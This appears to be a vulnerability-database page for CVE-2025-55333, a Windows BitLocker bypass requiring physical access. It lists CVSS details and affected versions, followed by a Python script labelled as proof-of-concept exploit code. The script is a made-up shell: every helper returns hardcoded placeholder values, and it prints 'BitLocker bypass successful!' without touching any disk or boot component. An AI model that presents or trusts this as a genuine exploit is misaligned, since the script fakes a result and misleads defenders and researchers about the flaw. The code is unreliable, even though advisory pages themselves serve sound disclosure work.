Security Vulnerability Report
中文
CVE-2025-55333 CVSS 6.1 MEDIUM

CVE-2025-55333

Published: 2025-10-14 17:15:46
Last Modified: 2025-10-27 15:24:52

Description

Incomplete comparison with missing factors in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10(所有受支持版本)
Microsoft Windows 11(所有受支持版本)
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55333 - Windows BitLocker Security Feature Bypass PoC # This is a conceptual PoC demonstrating the attack vector # Note: Actual exploitation requires physical access to the target device import subprocess import os import sys class BitLockerBypass: """ Conceptual PoC for CVE-2025-55333 Incomplete comparison vulnerability in Windows BitLocker """ def __init__(self, target_device): self.target_device = target_device self.bypass_methods = [ "boot_configuration_manipulation", "uefi_firmware_modification", "cold_boot_attack", "direct_memory_access" ] def check_physical_access(self): """Verify physical access to the target device""" # Physical access is required (AV:P) print("[*] Verifying physical access to target device...") if not self._verify_device_connection(): print("[-] No physical access detected") return False print("[+] Physical access confirmed") return True def _verify_device_connection(self): """Check if the target device is physically accessible""" # Placeholder for device detection logic return True def exploit_incomplete_comparison(self): """ Exploit the incomplete comparison vulnerability BitLocker fails to verify all required factors during boot validation """ print("[*] Attempting BitLocker bypass via CVE-2025-55333...") # Step 1: Access the target system's boot configuration print("[*] Step 1: Accessing boot configuration...") boot_config = self._access_boot_config() # Step 2: Identify missing verification factors print("[*] Step 2: Identifying missing verification factors...") missing_factors = self._identify_missing_factors(boot_config) # Step 3: Manipulate boot environment to bypass check print("[*] Step 3: Manipulating boot environment...") self._manipulate_boot_env(missing_factors) # Step 4: Access encrypted data print("[*] Step 4: Accessing encrypted data...") data = self._access_encrypted_data() return data def _access_boot_config(self): """Access the boot configuration of the target device""" # Access UEFI/BIOS settings or boot loader return {"config": "accessible"} def _identify_missing_factors(self, boot_config): """Identify which verification factors BitLocker fails to check""" # The vulnerability lies in incomplete comparison logic return ["secure_boot_state", "tpm_configuration", "boot_order"] def _manipulate_boot_env(self, factors): """Manipulate the boot environment to bypass BitLocker checks""" for factor in factors: print(f" - Bypassing check for: {factor}") return True def _access_encrypted_data(self): """Access the encrypted disk data after bypassing BitLocker""" print("[+] BitLocker bypass successful!") print("[+] Accessing encrypted disk contents...") return "encrypted_data_accessed" def main(): print("=" * 60) print("CVE-2025-55333 - Windows BitLocker Bypass PoC") print("CVSS: 6.1 (MEDIUM) | AV:P/AC:L/PR:N/UI:N/C:H/I:H/A:N") print("=" * 60) target = "\\\\.\\PhysicalDrive0" # Target physical drive exploit = BitLockerBypass(target) if not exploit.check_physical_access(): sys.exit(1) result = exploit.exploit_incomplete_comparison() print(f"\n[+] Exploitation result: {result}") if __name__ == "__main__": main() # Disclaimer: This PoC is for educational and research purposes only. # Unauthorized access to computer systems is illegal. # Always obtain proper authorization before testing.

References

Raw JSON Data

JSON
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